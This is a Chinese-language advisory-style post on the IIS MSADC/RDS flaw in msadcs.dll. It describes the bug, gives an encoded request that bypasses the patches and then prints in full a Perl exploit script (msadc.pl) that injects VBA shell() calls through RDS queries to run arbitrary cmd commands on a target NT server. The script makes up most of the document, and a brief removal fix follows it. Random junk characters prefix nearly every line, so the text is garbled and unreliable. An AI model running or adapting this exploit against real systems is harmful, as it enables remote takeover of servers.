IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
LDHu10l 7]T(=gg / 涉及程序:
")i)vXF' Microsoft NT server
@_-,Q5 >Jx=k"Kv+ 描述:
GF%/q :9 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
W&|?8%"l] o ^UOkxs. 详细:
sRT H_]c 如果你没有时间读详细内容的话,就删除:
ppvlU H5; c:\Program Files\Common Files\System\Msadc\msadcs.dll
!8[A;+o3P 有关的安全问题就没有了。
}s<;YC ?z l<"u 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
-wV2
79^b iz`>'wpC 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
hB.8\-}QMq 关于利用ODBC远程漏洞的描述,请参看:
s_fe4K @!!u>1 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 2672oFD n~|?)EL 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
2 A!*8w http://www.microsoft.com/security/bulletins/MS99-025faq.asp ;NdH]a{ }k%6X@ 这里不再论述。
S!=R\_{u$ IBJNs$ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
Y8v[kuo7 =wDXlAQ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
r.zgLZ}3&V 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
[(#)9/3, # M/n\em"X 'hBnV xd& #将下面这段保存为txt文件,然后: "perl -x 文件名"
!JrKTB% hZ
e{Ri #!perl
8Z9>h:c1 #
'ZMh<M[ # MSADC/RDS 'usage' (aka exploit) script
{._'Q[ #
_%D7D~2r| # by rain.forest.puppy
e8xq`:4Y #
[[AO6.Z # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
B47 I?~{ # beta test and find errors!
#vyf*jPr cw
2!V@ use Socket; use Getopt::Std;
8YlZ({f getopts("e:vd:h:XR", \%args);
HOWpTu( Fovah4q%V print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
%?gG-R a"U3h[;$y if (!defined $args{h} && !defined $args{R}) {
!fn%Q'S print qq~
H<i!C|AF Usage: msadc.pl -h <host> { -d <delay> -X -v }
E:**gvfq -h <host> = host you want to scan (ip or domain)
l5H5!$3~ -d <seconds> = delay between calls, default 1 second
+)q ,4+K%} -X = dump Index Server path table, if available
@#,/6s7? -v = verbose
c8uw_6#r(D -e = external dictionary file for step 5
1[Yl8W%pj :g63*d+/G Or a -R will resume a command session
67Pmnad }O@>:?U ~; exit;}
GyQFR ? &>+T*-' $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Q?>r:vMi if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
e3CFW_p if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
n)q8y0if if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
0:[A4S`X $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
0/f|ZH ~! if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
,(x`zpp _ }>BNdm"Er if (!defined $args{R}){ $ret = &has_msadc;
$#D#ezvxe die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
~"`e9Im hjg1By( print "Please type the NT commandline you want to run (cmd /c assumed):\n"
.p e3L7g . "cmd /c ";
er3~gm $in=<STDIN>; chomp $in;
^lV}![do! $command="cmd /c " . $in ;
V>)/z|[ MSM8wYcD if (defined $args{R}) {&load; exit;}
dyn)KDS ~%>i lWaHB print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
0$Rn|yqf% &try_btcustmr;
~\NQkaBkY Ep./->fOA print "\nStep 2: Trying to make our own DSN...";
EEZ~Bs}d &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
lF/
Xs "]]LQb$ print "\nStep 3: Trying known DSNs...";
)yig=nn &known_dsn;
dE,E,tv 7!jb print "\nStep 4: Trying known .mdbs...";
|Ol29C$@| &known_mdb;
^|Fy!kp _dk[k@5W{' if (defined $args{e}){
Pa d)| print "\nStep 5: Trying dictionary of DSN names...";
G^dp9A &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Ij4q &i" Posz|u<x print "Sorry Charley...maybe next time?\n";
>>KI_$V exit;
)GG9[%H!
7SJ=2 ##############################################################################
AA,/AKikd +:jonN9d sub sendraw { # ripped and modded from whisker
>uYQt~s sleep($delay); # it's a DoS on the server! At least on mine...
8493Sw my ($pstr)=@_;
KM[0aXOtv socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
d38o*+JCf die("Socket problems\n");
M1m]1< if(connect(S,pack "SnA4x8",2,80,$target)){
)HE{`yiLL select(S); $|=1;
&K'*67h print $pstr; my @in=<S>;
lJFy(^KQG, select(STDOUT); close(S);
w#A\(z%;x return @in;
i,;eW&
} else { die("Can't connect...\n"); }}
z-gMk@l Z9M$*Zp ##############################################################################
)Hin{~h rMIX{K)'f sub make_header { # make the HTTP request
LBD],Ba! my $msadc=<<EOT
Jb*QlsGd POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
%p)&mYK{ User-Agent: ACTIVEDATA
3)W_^6>bM Host: $ip
HJg&fkHn1 Content-Length: $clen
ER9{D$ Connection: Keep-Alive
BrSvkce C=&n1/ ADCClientVersion:01.06
$<)]~**K Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
hq{{XQ zL+t&P[\ --!ADM!ROX!YOUR!WORLD!
B$2GEg]Ri Content-Type: application/x-varg
$-UVN0= Content-Length: $reqlen
m0^ "fMV %(&ja_oO EOT
8~Zw" ; $msadc=~s/\n/\r\n/g;
J'ce?_\?PY return $msadc;}
(S W6?5 }Em{?Hqy ##############################################################################
tc`3-goX J2x}@p sub make_req { # make the RDS request
n7;jME/! my ($switch, $p1, $p2)=@_;
D%3$"4M7! my $req=""; my $t1, $t2, $query, $dsn;
@R`6jS_gK [8Y7Q5Had if ($switch==1){ # this is the btcustmr.mdb query
XTX/vbge3m $query="Select * from Customers where City=" . make_shell();
7P(o!%H $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
UVlB= $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
a_S`$(7k
G-1qxK elsif ($switch==2){ # this is general make table query
cA4?[F
$query="create table AZZ (B int, C varchar(10))";
^cPVnl $dsn="$p1";}
Xux[ bK#ZY elsif ($switch==3){ # this is general exploit table query
IxUj(l1Fm $query="select * from AZZ where C=" . make_shell();
"Ua-7Q&A $dsn="$p1";}
N{g7 ,sc#l<v elsif ($switch==4){ # attempt to hork file info from index server
WG A&Lr $query="select path from scope()";
_I; hM $dsn="Provider=MSIDXS;";}
yc]_ ?S>9 /2T
W?a elsif ($switch==5){ # bad query
JXkx!X_{ $query="select";
"zNS6I?rzE $dsn="$p1";}
] H;E(1iU yw+]S $t1= make_unicode($query);
k0I$x:c $t2= make_unicode($dsn);
v `/nX-> $req = "\x02\x00\x03\x00";
: 9(kU $req.= "\x08\x00" . pack ("S1", length($t1));
jbe:"Stw $req.= "\x00\x00" . $t1 ;
$H3C/| $req.= "\x08\x00" . pack ("S1", length($t2));
N9d^;6;i $req.= "\x00\x00" . $t2 ;
8g{Mv#b% $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
~DxuLk6
s return $req;}
sx+k
V A '=+N
)O ##############################################################################
:,p3&2I 3v3cK1K@oE sub make_shell { # this makes the shell() statement
11QZ- ^ return "'|shell(\"$command\")|'";}
j^b&Q L T`T~|pz ##############################################################################
9HN&M*} :tFcPc' sub make_unicode { # quick little function to convert to unicode
yO8@ .-j b my ($in)=@_; my $out;
J| &aqY for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
-,/6 Wn'j return $out;}
#
{k$Fk @(=?x:j ##############################################################################
qOpwl*?x+ t OnOzD sub rdo_success { # checks for RDO return success (this is kludge)
/KnIU|; my (@in) = @_; my $base=content_start(@in);
o-_,l
J7o^ if($in[$base]=~/multipart\/mixed/){
*$VeR(QN return 1 if( $in[$base+10]=~/^\x09\x00/ );}
'.pGkXyQ return 0;}
]5*H/8Ke7 -ys/I,}< ##############################################################################
#gWok'ZcR rLD1Cpeb,w sub make_dsn { # this makes a DSN for us
@~$=96^ my @drives=("c","d","e","f");
?\4kV*/Cqz print "\nMaking DSN: ";
$Nvox<d0 foreach $drive (@drives) {
)2W7>PY print "$drive: ";
-u~:Gd*l0 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
?S=y>b9R "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
dmkGIg} . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
I31Nu{ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
D?Ol)aj? return 0 if $2 eq "404"; # not found/doesn't exist
?T%"Jgy8 if($2 eq "200") {
@fo(#i& foreach $line (@results) {
wb#[&2i return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
tD}{/`{_t } return 0;}
!Y UT* Q rSO%Rm1* ##############################################################################
h
Ks
Wn;%B].I sub verify_exists {
`_neYT my ($page)=@_;
G~&q
my @results=sendraw("GET $page HTTP/1.0\n\n");
:G9d,B7* return $results[0];}
dwvc;f- vfc5M6Vm)< ##############################################################################
K-*ZS8 #+"D? sub try_btcustmr {
"\9beK:l my @drives=("c","d","e","f");
B"4A1! my @dirs=("winnt","winnt35","winnt351","win","windows");
Ls|)SiXrY KTo}xLT
foreach $dir (@dirs) {
H<^3H print "$dir -> "; # fun status so you can see progress
Zg= { foreach $drive (@drives) {
Yqu/_6wLx print "$drive: "; # ditto
(NnE\2 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
hP[/xe $reqlenlen=length( "$reqlen" );
x5rm
2C $clen= 206 + $reqlenlen + $reqlen;
fK@UlMC]7 2WKIO|' my @results=sendraw(make_header() . make_req(1,$drive,$dir));
tQxAZ0B^ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
FDBNKQV else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
.gRb' h>xB"E|. ##############################################################################
z:O:g?A b4KNIP7E sub odbc_error {
0lqh;/ my (@in)=@_; my $base;
l'!_km0{d my $base = content_start(@in);
5``usn/&Kj if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
<dS I"C< $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
ij?]fXf:)y $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
QRdtr $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
z:Ru` return $in[$base+4].$in[$base+5].$in[$base+6];}
N1:)Z`r print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
:=quCzG print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
Y.52`s6F $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
w1F)R^tU c2gZ<[~ ##############################################################################
[8DPZU@ 0"sZP\<p sub verbose {
54]UfmT%I my ($in)=@_;
L)H/t6}i return if !$verbose;
^'sy hI\ print STDOUT "\n$in\n";}
gz:US77 {c
$8?6 ##############################################################################
*m&'6qsS qvh8~[ sub save {
M6Ik 'r"M my ($p1, $p2, $p3, $p4)=@_;
|D;I>O^"R open(OUT, ">rds.save") || print "Problem saving parameters...\n";
: 9>U+)% print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Oeg^%Y
close OUT;}
.nA9irc PGTjOkx ##############################################################################
bI;u};v XaU^^K sub load {
o|s|Wmx>u my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
8RZqoQDH open(IN,"<rds.save") || die("Couldn't open rds.save\n");
&$pQ Jf @p=<IN>; close(IN);
Ni;jMc $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
EUPc+D3 $target= inet_aton($ip) || die("inet_aton problems");
e/)Vx'd`+ print "Resuming to $ip ...";
1B{u4w7S4e $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
7;#o?6!7 if($p[1]==1) {
PMj!T \B| $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
$U^ Ms!'L $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
r/+~4W5
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
);p:[=$71 if (rdo_success(@results)){print "Success!\n";}
@&Af[X4s else { print "failed\n"; verbose(odbc_error(@results));}}
){tTB elsif ($p[1]==3){
gHH[QLD=I if(run_query("$p[3]")){
IV`+B<3 print "Success!\n";} else { print "failed\n"; }}
)\izL]=!t elsif ($p[1]==4){
eN TKX if(run_query($drvst . "$p[3]")){
{I$zmVG print "Success!\n"; } else { print "failed\n"; }}
,G$<J0R1 exit;}
%x^ U3"7 *M~BN}. ##############################################################################
;T!ZO@1X Z7MGBwP( sub create_table {
0n?^I>j my ($in)=@_;
+'g~3A-G $reqlen=length( make_req(2,$in,"") ) - 28;
-0*z"a9<p8 $reqlenlen=length( "$reqlen" );
DL '{
rK $clen= 206 + $reqlenlen + $reqlen;
7*Gg#XQ>( my @results=sendraw(make_header() . make_req(2,$in,""));
hus9Zv4 return 1 if rdo_success(@results);
Hq <!& my $temp= odbc_error(@results); verbose($temp);
l8DZ2cw] return 1 if $temp=~/Table 'AZZ' already exists/;
R36A_ return 0;}
:u?L
y[x gF|u%_y-qt ##############################################################################
QIcc@PGT9a u>03l(X6f sub known_dsn {
=kW7|c5Z # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
5q}7#{A my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
RDu{U(! "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
~N+H7T.L "banner", "banners", "ads", "ADCDemo", "ADCTest");
o7fJ@3B/ Gd[:&h foreach $dSn (@dsns) {
jxgs!B> print ".";
?$H=n{iW next if (!is_access("DSN=$dSn"));
J}VG4}L if(create_table("DSN=$dSn")){
]n4G]ybK% print "$dSn successful\n";
5mI}IS|@ if(run_query("DSN=$dSn")){
5&Le? -/\ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
>Cglhsb:N print "Something's borked. Use verbose next time\n";}}} print "\n";}
Fau24-g MB?762Q ##############################################################################
lM%3 ?~?Q& KN\tRE sub is_access {
T5TAkEVl my ($in)=@_;
+78cQqDY! $reqlen=length( make_req(5,$in,"") ) - 28;
=?1B|hdo $reqlenlen=length( "$reqlen" );
wvEdZGO8! $clen= 206 + $reqlenlen + $reqlen;
:T/I%|;f my @results=sendraw(make_header() . make_req(5,$in,""));
_Qf310oONS my $temp= odbc_error(@results);
Y$eO:67; verbose($temp); return 1 if ($temp=~/Microsoft Access/);
lMb&F[KJ7 return 0;}
-=4:qQEw f]kG%JEK ##############################################################################
bR83N 4Mv] z^ sub run_query {
hyC]{E my ($in)=@_;
qL!pDZk $reqlen=length( make_req(3,$in,"") ) - 28;
1xb1?/n1# $reqlenlen=length( "$reqlen" );
X:OUu; $clen= 206 + $reqlenlen + $reqlen;
N?mQ50o~C my @results=sendraw(make_header() . make_req(3,$in,""));
}m.45n/ return 1 if rdo_success(@results);
B5/"2i my $temp= odbc_error(@results); verbose($temp);
mqoB]H, return 0;}
I73=PfS:m 2j-^F ##############################################################################
V\r2=ok@y bG!/%,s sub known_mdb {
:Mnl 1;oh my @drives=("c","d","e","f","g");
7SJtW`~ my @dirs=("winnt","winnt35","winnt351","win","windows");
@@#h-k%k- my $dir, $drive, $mdb;
[|APMMYK1 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
\) g?mj^ cFloaCz # this is sparse, because I don't know of many
9<1dps=c my @sysmdbs=( "\\catroot\\icatalog.mdb",
q3/ 0xN+? "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Xny{8Oo<1? "\\system32\\certmdb.mdb",
'>#8
F. "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
,^&amWey ->a| my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
Ox&]{ "\\cfusion\\cfapps\\forums\\forums_.mdb",
qPgny/( "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
{*K7P> & "\\cfusion\\cfapps\\security\\realm_.mdb",
*w23(f "\\cfusion\\cfapps\\security\\data\\realm.mdb",
X~ g9TUv8 "\\cfusion\\database\\cfexamples.mdb",
qW|_|%{U+ "\\cfusion\\database\\cfsnippets.mdb",
!4(QeV-= "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
1R7w
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
cP>[H:\Xc "\\cfusion\\brighttiger\\database\\cleam.mdb",
a3SBEkC "\\cfusion\\database\\smpolicy.mdb",
Q-y`IPtA< "\\cfusion\\database\cypress.mdb",
J*+[?FXRL "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
Ew*SA "\\website\\cgi-win\\dbsample.mdb",
irKM?#h "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
A\)~y{9bQ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
BKd?%V8:Q ); #these are just
+W}6o3x~ foreach $drive (@drives) {
6l&,!fd foreach $dir (@dirs){
(A\\s$fE/1 foreach $mdb (@sysmdbs) {
L_R(K89w print ".";
o'|B|oZ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
a<lDT_2b print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
EEj.Kch}4 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
sc$I,|d2 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
@ x5LrQ_`r } else { print "Something's borked. Use verbose next time\n"; }}}}}
O#x=iZI oR'u&\mB foreach $drive (@drives) {
D7v_< foreach $mdb (@mdbs) {
}sW%i#CV print ".";
ibh,d.*~g if(create_table($drv . $drive . $dir . $mdb)){
]Yk)A.y print "\n" . $drive . $dir . $mdb . " successful\n";
jAy0k
if(run_query($drv . $drive . $dir . $mdb)){
X
v$"B-j print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
,d$D0w } else { print "Something's borked. Use verbose next time\n"; }}}}
#.@- ng6C }
o8u;2gZx X \qG
WpN% ##############################################################################
8Cw3b\ne Tx|y!uHh sub hork_idx {
`{9bf)vP6 print "\nAttempting to dump Index Server tables...\n";
|Jny0a/0 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
YU/?AQg $reqlen=length( make_req(4,"","") ) - 28;
nG0R1< $reqlenlen=length( "$reqlen" );
(0^ZZe`#j $clen= 206 + $reqlenlen + $reqlen;
)_SpY\J my @results=sendraw2(make_header() . make_req(4,"",""));
>- U+o.o if (rdo_success(@results)){
{fS~G2@1 my $max=@results; my $c; my %d;
{_~vf for($c=19; $c<$max; $c++){
ayQ2#9X} $results[$c]=~s/\x00//g;
'C)
v?!19 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
DIx.a^LR $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
J7+[+Y $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
C{OkbE"Vym $d{"$1$2"}="";}
s%^@@Dk foreach $c (keys %d){ print "$c\n"; }
e@7UL|12 } else {print "Index server doesn't seem to be installed.\n"; }}
du_~P"[ N."x@mV ##############################################################################
d8K|uEHVz 40} 7O<9* sub dsn_dict {
U;t1 K open(IN, "<$args{e}") || die("Can't open external dictionary\n");
%BF,;(P while(<IN>){
qIvnPaYW $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
[G'
+s next if (!is_access("DSN=$dSn"));
"w3%BbI x if(create_table("DSN=$dSn")){
]EqwDw4 print "$dSn successful\n";
ji.T7wn1u if(run_query("DSN=$dSn")){
5:(/k\9+yv print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
r*9*xZ>8u print "Something's borked. Use verbose next time\n";}}}
2=uwGIF print "\n"; close(IN);}
0G`@^` /h9v'Y}c ##############################################################################
4))N(m%3F bD.KD)5 sub sendraw2 { # ripped and modded from whisker
CZog?O}< sleep($delay); # it's a DoS on the server! At least on mine...
b*1yvkX5 my ($pstr)=@_;
`N8t2yF socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
}VeE4-p B die("Socket problems\n");
c&C*'c-r if(connect(S,pack "SnA4x8",2,80,$target)){
2d&]V]:R* print "Connected. Getting data";
fNz(z\ open(OUT,">raw.out"); my @in;
-^q;e]+J select(S); $|=1; print $pstr;
gFl@A} while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
@D>qo=KPM close(OUT); select(STDOUT); close(S); return @in;
RoNE7|gF: } else { die("Can't connect...\n"); }}
6B+?X5-6DH nWA>u J5 ##############################################################################
w@pJ49 hR~&}sxN sub content_start { # this will take in the server headers
d'iSvd. my (@in)=@_; my $c;
zwk&3 for ($c=1;$c<500;$c++) {
hDXaCift if($in[$c] =~/^\x0d\x0a/){
9 !$&1|,* if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
%<fs \J^k else { return $c+1; }}}
}46Zfg\T6n return -1;} # it should never get here actually
,0{x-S0jX< <<R2
X1 ##############################################################################
HvmE'O8 A?ho<@^ sub funky {
u~PZK.Uf0 my (@in)=@_; my $error=odbc_error(@in);
KW$.Yy if($error=~/ADO could not find the specified provider/){
_|T{2LvwT print "\nServer returned an ADO miscofiguration message\nAborting.\n";
\i+Ad@) exit;}
*Qyu
QF if($error=~/A Handler is required/){
|AS~sjWSJ print "\nServer has custom handler filters (they most likely are patched)\n";
ae" o|Q exit;}
A]ZQ?-L/ if($error=~/specified Handler has denied Access/){
LW k/h1 print "\nServer has custom handler filters (they most likely are patched)\n";
W8F@nY exit;}}
sR/y| $9P= ##############################################################################
5)A[NTNJx .5);W;`X sub has_msadc {
q;*'V9# my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
_D$1CaAYo my $base=content_start(@results);
+;4;~>Y return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
QAAuFZs return 0;}
Lp/'-Y_ !{ fu(E ########################
c\/-*OYr< _>ZC;+c? suE8"v!sk 解决方案:
8 Vf#t!t 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
i[I&m]N 2、移除web 目录: /msadc